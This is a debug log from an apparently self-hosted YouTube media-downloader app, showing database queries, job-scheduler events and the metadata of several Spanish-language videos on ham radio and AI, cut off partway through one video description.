OK source="media_profiles" db=0.7ms idle=4.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:37:47.525 [debug] QUERY OK source="media_items" db=0.7ms idle=4.6ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1358] 22:37:47.525 [debug] Current batch of media processed. Will check again in 1000ms 22:37:47.579 [debug] Current batch of media processed. Will check again in 1000ms 22:37:48.525 [debug] Current batch of media processed. Will check again in 1000ms 22:37:48.580 [debug] Current batch of media processed. Will check again in 1000ms 22:37:49.526 [debug] Current batch of media processed. Will check again in 1000ms 22:37:49.581 [debug] Current batch of media processed. Will check again in 1000ms 22:37:50.527 [debug] Current batch of media processed. Will check again in 1000ms 22:37:50.582 [debug] Current batch of media processed. Will check again in 1000ms 22:37:51.237 [info] {"source":"oban","duration":1089,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:37:51.528 [debug] Current batch of media processed. Will check again in 1000ms 22:37:51.583 [debug] Current batch of media processed. Will check again in 1000ms 22:37:52.529 [debug] Current batch of media processed. Will check again in 1000ms 22:37:52.584 [debug] Current batch of media processed. Will check again in 1000ms 22:37:53.530 [debug] Current batch of media processed. Will check again in 1000ms 22:37:53.585 [debug] Current batch of media processed. Will check again in 1000ms 22:37:54.531 [debug] Current batch of media processed. Will check again in 1000ms 22:37:54.586 [debug] Current batch of media processed. Will check again in 1000ms 22:37:55.532 [debug] Current batch of media processed. Will check again in 1000ms 22:37:55.587 [debug] Current batch of media processed. Will check again in 1000ms 22:37:56.533 [debug] Current batch of media processed. Will check again in 1000ms 22:37:56.588 [debug] Current batch of media processed. Will check again in 1000ms 22:37:57.534 [debug] Current batch of media processed. Will check again in 1000ms 22:37:57.589 [debug] Current batch of media processed. Will check again in 1000ms 22:37:58.535 [debug] Current batch of media processed. Will check again in 1000ms 22:37:58.590 [debug] Current batch of media processed. Will check again in 1000ms 22:37:59.536 [debug] Current batch of media processed. Will check again in 1000ms 22:37:59.591 [debug] Current batch of media processed. Will check again in 1000ms 22:38:00.119 [info] {"source":"oban","duration":185,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:38:00.537 [debug] Current batch of media processed. Will check again in 1000ms 22:38:00.592 [debug] Current batch of media processed. Will check again in 1000ms 22:38:01.538 [debug] Current batch of media processed. Will check again in 1000ms 22:38:01.593 [debug] Current batch of media processed. Will check again in 1000ms 22:38:02.539 [debug] Current batch of media processed. Will check again in 1000ms 22:38:02.594 [debug] Current batch of media processed. Will check again in 1000ms 22:38:03.540 [debug] Current batch of media processed. Will check again in 1000ms 22:38:03.595 [debug] Current batch of media processed. Will check again in 1000ms 22:38:04.541 [debug] Current batch of media processed. Will check again in 1000ms 22:38:04.596 [debug] Current batch of media processed. Will check again in 1000ms 22:38:05.542 [debug] Current batch of media processed. Will check again in 1000ms 22:38:05.597 [debug] Current batch of media processed. Will check again in 1000ms 22:38:06.543 [debug] Current batch of media processed. Will check again in 1000ms 22:38:06.598 [debug] Current batch of media processed. Will check again in 1000ms 22:38:07.544 [debug] Current batch of media processed. Will check again in 1000ms 22:38:07.599 [debug] Current batch of media processed. Will check again in 1000ms 22:38:08.545 [debug] Current batch of media processed. Will check again in 1000ms 22:38:08.600 [debug] Current batch of media processed. Will check again in 1000ms 22:38:09.546 [debug] Current batch of media processed. Will check again in 1000ms 22:38:09.601 [debug] Current batch of media processed. Will check again in 1000ms 22:38:10.547 [debug] Current batch of media processed. Will check again in 1000ms 22:38:10.602 [debug] Current batch of media processed. Will check again in 1000ms 22:38:11.548 [debug] Current batch of media processed. Will check again in 1000ms 22:38:11.603 [debug] Current batch of media processed. Will check again in 1000ms 22:38:12.549 [debug] Current batch of media processed. Will check again in 1000ms 22:38:12.604 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hoy un video mas simple, un desembalado (un unboxing como le dicen ahora) de un equipo que he adquirido, que os muestro. Espero os interese!\n\n#alinco #DR-735E #radioaficionados #hamradio #bibanda #vhf #uhf #bandaaerea #aviacion #radio\n\n\nContenido del video\n00:00 - Presentación\n00:35 - Intro canal\n00:53 - Desembalando\n06:29 - Puesta en marcha\n07:42 - Probando la potencia\n10:30 - Probando...\n13:17 - Menus\n14:21 - Colores en pantalla\n17:19 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "duration" => 1274, "filename" => "/downloads/music/ea3grn/131 - UNBOXING ALINCO DR735E.m4a", "id" => "tO67R610Xrk", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=tO67R610Xrk", "playlist_index" => 50, "timestamp" => 1711648827, "title" => "131 - UNBOXING ALINCO DR735E", "upload_date" => "20240328"} 22:38:12.605 [debug] QUERY OK source="sources" db=0.5ms idle=1842.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [3] 22:38:12.606 [debug] QUERY OK source="sources" db=0.4ms idle=1843.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:38:12.607 [debug] QUERY OK source="media_items" db=0.7ms idle=1794.4ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-03-28 18:00:27Z], 3] 22:38:12.608 [debug] QUERY OK source="media_items" db=1.1ms idle=844.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hoy un video mas simple, un desembalado (un unboxing como le dicen ahora) de un equipo que he adquirido, que os muestro. Espero os interese!\n\n#alinco #DR-735E #radioaficionados #hamradio #bibanda #vhf #uhf #bandaaerea #aviacion #radio\n\n\nContenido del video\n00:00 - Presentación\n00:35 - Intro canal\n00:53 - Desembalando\n06:29 - Puesta en marcha\n07:42 - Probando la potencia\n10:30 - Probando...\n13:17 - Menus\n14:21 - Colores en pantalla\n17:19 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "131 - UNBOXING ALINCO DR735E", "bbce519d-2dba-43ba-8527-0b34fd1e3317", 1274, false, "tO67R610Xrk", "https://www.youtube.com/watch?v=tO67R610Xrk", 50, "/downloads/music/ea3grn/131 - UNBOXING ALINCO DR735E.m4a", false, false, false, 3, [], 98, ~U[2024-03-28 18:00:27Z], ~U[2026-02-07 21:38:12Z], ~U[2026-02-07 21:38:12Z], "Hoy un video mas simple, un desembalado (un unboxing como le dicen ahora) de un equipo que he adquirido, que os muestro. Espero os interese!\n\n#alinco #DR-735E #radioaficionados #hamradio #bibanda #vhf #uhf #bandaaerea #aviacion #radio\n\n\nContenido del video\n00:00 - Presentación\n00:35 - Intro canal\n00:53 - Desembalando\n06:29 - Puesta en marcha\n07:42 - Probando la potencia\n10:30 - Probando...\n13:17 - Menus\n14:21 - Colores en pantalla\n17:19 - Conclusiones\n\nLa música de la intro es un fragmento de Slighshot, de Steve Adams, en el dominio público.\nLa música de fondo es Indeep (c)2002 de Wagner García y Leonardo Segura, grabado en estudios Wagner Prat de Llobregat. Cedida para estos videos por su autor.", "131 - UNBOXING ALINCO DR735E", 1274, false, "tO67R610Xrk", "https://www.youtube.com/watch?v=tO67R610Xrk", "/downloads/music/ea3grn/131 - UNBOXING ALINCO DR735E.m4a", false, 3, ~U[2024-03-28 18:00:27Z]] 22:38:12.609 [debug] QUERY OK source="sources" db=0.5ms idle=794.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 22:38:12.610 [debug] QUERY OK source="media_profiles" db=0.5ms idle=4.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:38:12.611 [debug] QUERY OK source="media_items" db=0.8ms idle=4.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1396] 22:38:12.611 [debug] Current batch of media processed. Will check again in 1000ms 22:38:13.550 [debug] Current batch of media processed. Will check again in 1000ms 22:38:13.612 [debug] Current batch of media processed. Will check again in 1000ms 22:38:14.551 [debug] Current batch of media processed. Will check again in 1000ms 22:38:14.613 [debug] Current batch of media processed. Will check again in 1000ms 22:38:15.552 [debug] Current batch of media processed. Will check again in 1000ms 22:38:15.614 [debug] Current batch of media processed. Will check again in 1000ms 22:38:16.553 [debug] Current batch of media processed. Will check again in 1000ms 22:38:16.615 [debug] Current batch of media processed. Will check again in 1000ms 22:38:17.554 [debug] Current batch of media processed. Will check again in 1000ms 22:38:17.616 [debug] Current batch of media processed. Will check again in 1000ms 22:38:18.555 [debug] Current batch of media processed. Will check again in 1000ms 22:38:18.617 [debug] Current batch of media processed. Will check again in 1000ms 22:38:19.556 [debug] Current batch of media processed. Will check again in 1000ms 22:38:19.618 [debug] Current batch of media processed. Will check again in 1000ms 22:38:20.557 [debug] Current batch of media processed. Will check again in 1000ms 22:38:20.619 [debug] Current batch of media processed. Will check again in 1000ms 22:38:21.239 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:21.558 [debug] Current batch of media processed. Will check again in 1000ms 22:38:21.620 [debug] Current batch of media processed. Will check again in 1000ms 22:38:22.559 [debug] Current batch of media processed. Will check again in 1000ms 22:38:22.621 [debug] Current batch of media processed. Will check again in 1000ms 22:38:23.560 [debug] Current batch of media processed. Will check again in 1000ms 22:38:23.622 [debug] Current batch of media processed. Will check again in 1000ms 22:38:24.561 [debug] Current batch of media processed. Will check again in 1000ms 22:38:24.623 [debug] Current batch of media processed. Will check again in 1000ms 22:38:25.562 [debug] Current batch of media processed. Will check again in 1000ms 22:38:25.624 [debug] Current batch of media processed. Will check again in 1000ms 22:38:26.563 [debug] Current batch of media processed. Will check again in 1000ms 22:38:26.625 [debug] Current batch of media processed. Will check again in 1000ms 22:38:27.564 [debug] Current batch of media processed. Will check again in 1000ms 22:38:27.626 [debug] Current batch of media processed. Will check again in 1000ms 22:38:28.565 [debug] Current batch of media processed. Will check again in 1000ms 22:38:28.627 [debug] Current batch of media processed. Will check again in 1000ms 22:38:29.566 [debug] Current batch of media processed. Will check again in 1000ms 22:38:29.628 [debug] Current batch of media processed. Will check again in 1000ms 22:38:30.567 [debug] Current batch of media processed. Will check again in 1000ms 22:38:30.639 [debug] Current batch of media processed. Will check again in 1000ms 22:38:31.568 [debug] Current batch of media processed. Will check again in 1000ms 22:38:31.639 [debug] Current batch of media processed. Will check again in 1000ms 22:38:32.569 [debug] Current batch of media processed. Will check again in 1000ms 22:38:32.640 [debug] Current batch of media processed. Will check again in 1000ms 22:38:33.570 [debug] Current batch of media processed. Will check again in 1000ms 22:38:33.641 [debug] Current batch of media processed. Will check again in 1000ms 22:38:34.571 [debug] Current batch of media processed. Will check again in 1000ms 22:38:34.642 [debug] Current batch of media processed. Will check again in 1000ms 22:38:35.572 [debug] Current batch of media processed. Will check again in 1000ms 22:38:35.643 [debug] Current batch of media processed. Will check again in 1000ms 22:38:36.573 [debug] Current batch of media processed. Will check again in 1000ms 22:38:36.644 [debug] Current batch of media processed. Will check again in 1000ms 22:38:37.574 [debug] Current batch of media processed. Will check again in 1000ms 22:38:37.645 [debug] Current batch of media processed. Will check again in 1000ms 22:38:38.575 [debug] Current batch of media processed. Will check again in 1000ms 22:38:38.646 [debug] Current batch of media processed. Will check again in 1000ms 22:38:39.576 [debug] Current batch of media processed. Will check again in 1000ms 22:38:39.647 [debug] Current batch of media processed. Will check again in 1000ms 22:38:40.577 [debug] Current batch of media processed. Will check again in 1000ms 22:38:40.648 [debug] Current batch of media processed. Will check again in 1000ms 22:38:41.578 [debug] Current batch of media processed. Will check again in 1000ms 22:38:41.649 [debug] Current batch of media processed. Will check again in 1000ms 22:38:42.579 [debug] Current batch of media processed. Will check again in 1000ms 22:38:42.650 [debug] Current batch of media processed. Will check again in 1000ms 22:38:43.580 [debug] Current batch of media processed. Will check again in 1000ms 22:38:43.651 [debug] Current batch of media processed. Will check again in 1000ms 22:38:44.581 [debug] Current batch of media processed. Will check again in 1000ms 22:38:44.652 [debug] Current batch of media processed. Will check again in 1000ms 22:38:45.582 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Aquí llega el segundo capitulo 👉🏼 IA mi Que? 👈🏼 \n\nEn el episodio de hoy nos tenemos que divertir🎉 . Vamos a ver juegos, vamos a ver utilidades personales y vamos a ver cosas muy interesantes a nivel empresarial.\n\nQue os vamos a contar? que son los 💥 LORAS, 💥 quédate con la palabra no hace falta que sepas lo que quiere decir.... pero si lo que puede hacer y como no, ante tu pregunta ¿IA mi que?.... en el video tienes muchas respuestas de porque los LORAS te interesan a ti.\n\nPor ultimo dar las gracias a Rafael Casarejo Garcia y Sonia Galvez Palacios por ayudarnos en este post.... (que paciencia tenéis con nosotros).\n\nSin más que esperar que lo disfrutéis por favor 🙏🏼: \n\n👐🏼 Compartir para darnos visibilidad\n✍🏼 Comentar y dar feedback para que podamos saber tu opinión y mejorar\n🫶🏼 Darnos un like (o no)\n🫵🏼 Contamos contigo\n\nhashtag#LORA hashtag#IAGEN hashtag#IAMIQUE", "duration" => 513, "filename" => "/downloads/music/IA mí QUÉ/EP.2 - LORAS.m4a", "id" => "sfc65h_pd58", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=sfc65h_pd58", "playlist_index" => 48, "timestamp" => 1741940166, "title" => "EP.2 - LORAS", "upload_date" => "20250314"} 22:38:45.583 [debug] QUERY OK source="sources" db=0.6ms idle=1820.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 22:38:45.584 [debug] QUERY OK source="sources" db=0.4ms idle=1821.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:38:45.585 [debug] QUERY OK source="media_items" db=0.8ms idle=1711.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-03-14 08:16:06Z], 2] 22:38:45.587 [debug] QUERY OK source="media_items" db=1.1ms idle=823.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Aquí llega el segundo capitulo 👉🏼 IA mi Que? 👈🏼 \n\nEn el episodio de hoy nos tenemos que divertir🎉 . Vamos a ver juegos, vamos a ver utilidades personales y vamos a ver cosas muy interesantes a nivel empresarial.\n\nQue os vamos a contar? que son los 💥 LORAS, 💥 quédate con la palabra no hace falta que sepas lo que quiere decir.... pero si lo que puede hacer y como no, ante tu pregunta ¿IA mi que?.... en el video tienes muchas respuestas de porque los LORAS te interesan a ti.\n\nPor ultimo dar las gracias a Rafael Casarejo Garcia y Sonia Galvez Palacios por ayudarnos en este post.... (que paciencia tenéis con nosotros).\n\nSin más que esperar que lo disfrutéis por favor 🙏🏼: \n\n👐🏼 Compartir para darnos visibilidad\n✍🏼 Comentar y dar feedback para que podamos saber tu opinión y mejorar\n🫶🏼 Darnos un like (o no)\n🫵🏼 Contamos contigo\n\nhashtag#LORA hashtag#IAGEN hashtag#IAMIQUE", "EP.2 - LORAS", "297af3ae-68f3-42c4-bbd9-568a473b60fe", 513, false, "sfc65h_pd58", "https://www.youtube.com/watch?v=sfc65h_pd58", 48, "/downloads/music/IA mí QUÉ/EP.2 - LORAS.m4a", false, false, false, 2, [], 89, ~U[2025-03-14 08:16:06Z], ~U[2026-02-07 21:38:45Z], ~U[2026-02-07 21:38:45Z], "Aquí llega el segundo capitulo 👉🏼 IA mi Que? 👈🏼 \n\nEn el episodio de hoy nos tenemos que divertir🎉 . Vamos a ver juegos, vamos a ver utilidades personales y vamos a ver cosas muy interesantes a nivel empresarial.\n\nQue os vamos a contar? que son los 💥 LORAS, 💥 quédate con la palabra no hace falta que sepas lo que quiere decir.... pero si lo que puede hacer y como no, ante tu pregunta ¿IA mi que?.... en el video tienes muchas respuestas de porque los LORAS te interesan a ti.\n\nPor ultimo dar las gracias a Rafael Casarejo Garcia y Sonia Galvez Palacios por ayudarnos en este post.... (que paciencia tenéis con nosotros).\n\nSin más que esperar que lo disfrutéis por favor 🙏🏼: \n\n👐🏼 Compartir para darnos visibilidad\n✍🏼 Comentar y dar feedback para que podamos saber tu opinión y mejorar\n🫶🏼 Darnos un like (o no)\n🫵🏼 Contamos contigo\n\nhashtag#LORA hashtag#IAGEN hashtag#IAMIQUE", "EP.2 - LORAS", 513, false, "sfc65h_pd58", "https://www.youtube.com/watch?v=sfc65h_pd58", "/downloads/music/IA mí QUÉ/EP.2 - LORAS.m4a", false, 2, ~U[2025-03-14 08:16:06Z]] 22:38:45.587 [debug] QUERY OK source="sources" db=0.5ms idle=712.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 22:38:45.588 [debug] QUERY OK source="media_profiles" db=0.7ms idle=4.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:38:45.589 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1360] 22:38:45.589 [debug] Current batch of media processed. Will check again in 1000ms 22:38:45.653 [debug] Current batch of media processed. Will check again in 1000ms 22:38:46.590 [debug] Current batch of media processed. Will check again in 1000ms 22:38:46.654 [debug] Current batch of media processed. Will check again in 1000ms 22:38:47.591 [debug] Current batch of media processed. Will check again in 1000ms 22:38:47.655 [debug] Current batch of media processed. Will check again in 1000ms 22:38:48.592 [debug] Current batch of media processed. Will check again in 1000ms 22:38:48.656 [debug] Current batch of media processed. Will check again in 1000ms 22:38:49.593 [debug] Current batch of media processed. Will check again in 1000ms 22:38:49.657 [debug] Current batch of media processed. Will check again in 1000ms 22:38:50.594 [debug] Current batch of media processed. Will check again in 1000ms 22:38:50.658 [debug] Current batch of media processed. Will check again in 1000ms 22:38:51.241 [info] {"source":"oban","duration":950,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 22:38:51.595 [debug] Current batch of media processed. Will check again in 1000ms 22:38:51.659 [debug] Current batch of media processed. Will check again in 1000ms 22:38:52.596 [debug] Current batch of media processed. Will check again in 1000ms 22:38:52.660 [debug] Current batch of media processed. Will check again in 1000ms 22:38:53.597 [debug] Current batch of media processed. Will check again in 1000ms 22:38:53.661 [debug] Current batch of media processed. Will check again in 1000ms 22:38:54.598 [debug] Current batch of media processed. Will check again in 1000ms 22:38:54.662 [debug] Current batch of media processed. Will check again in 1000ms 22:38:55.599 [debug] Current batch of media processed. Will check again in 1000ms 22:38:55.663 [debug] Current batch of media processed. Will check again in 1000ms 22:38:56.600 [debug] Current batch of media processed. Will check again in 1000ms 22:38:56.664 [debug] Current batch of media processed. Will check again in 1000ms 22:38:57.601 [debug] Current batch of media processed. Will check again in 1000ms 22:38:57.665 [debug] Current batch of media processed. Will check again in 1000ms 22:38:58.602 [debug] Current batch of media processed. Will check again in 1000ms 22:38:58.666 [debug] Current batch of media processed. Will check again in 1000ms 22:38:59.603 [debug] Current batch of media processed. Will check again in 1000ms 22:38:59.667 [debug] Current batch of media processed. Will check again in 1000ms 22:39:00.120 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 22:39:00.604 [debug] Current batch of media processed. Will check again in 1000ms 22:39:00.668 [debug] Current batch of media processed. Will check again in 1000ms 22:39:01.605 [debug] Current batch of media processed. Will check again in 1000ms 22:39:01.669 [debug] Current batch of media processed. Will check again in 1000ms 22:39:02.606 [debug] Current batch of media processed. Will check again in 1000ms 22:39:02.670 [debug] Current batch of media processed. Will check again in 1000ms 22:39:03.607 [debug] Current batch of media processed. Will check again in 1000ms 22:39:03.671 [debug] Current batch of media processed. Will check again in 1000ms 22:39:04.608 [debug] Current batch of media processed. Will check again in 1000ms 22:39:04.672 [debug] Current batch of media processed. Will check again in 1000ms 22:39:05.609 [debug] Current batch of media processed. Will check again in 1000ms 22:39:05.673 [debug] Current batch of media processed. Will check again in 1000ms 22:39:06.610 [debug] Current batch of media processed. Will check again in 1000ms 22:39:06.674 [debug] Current batch of media processed. Will check again in 1000ms 22:39:07.611 [debug] Current batch of media processed. Will check again in 1000ms 22:39:07.686 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Vamos a montar un acoplador en \"T\" usando un kit chino que venden.... bueno, practicamente por nada. Yo lo compré por menos de 10 euros... Podeis encontrarlo aqui:\n\n\nhttps://es.aliexpress.com/item/1005006027479601.html\n\n\no Aqui:\n\n\nhttps://es.aliexpress.com/item/1005001622101127.html\n\n\nEl kit original viene con instrucciones incorrectas para montarlo, asi que he buscado información que os detallo a continuación (y es lo 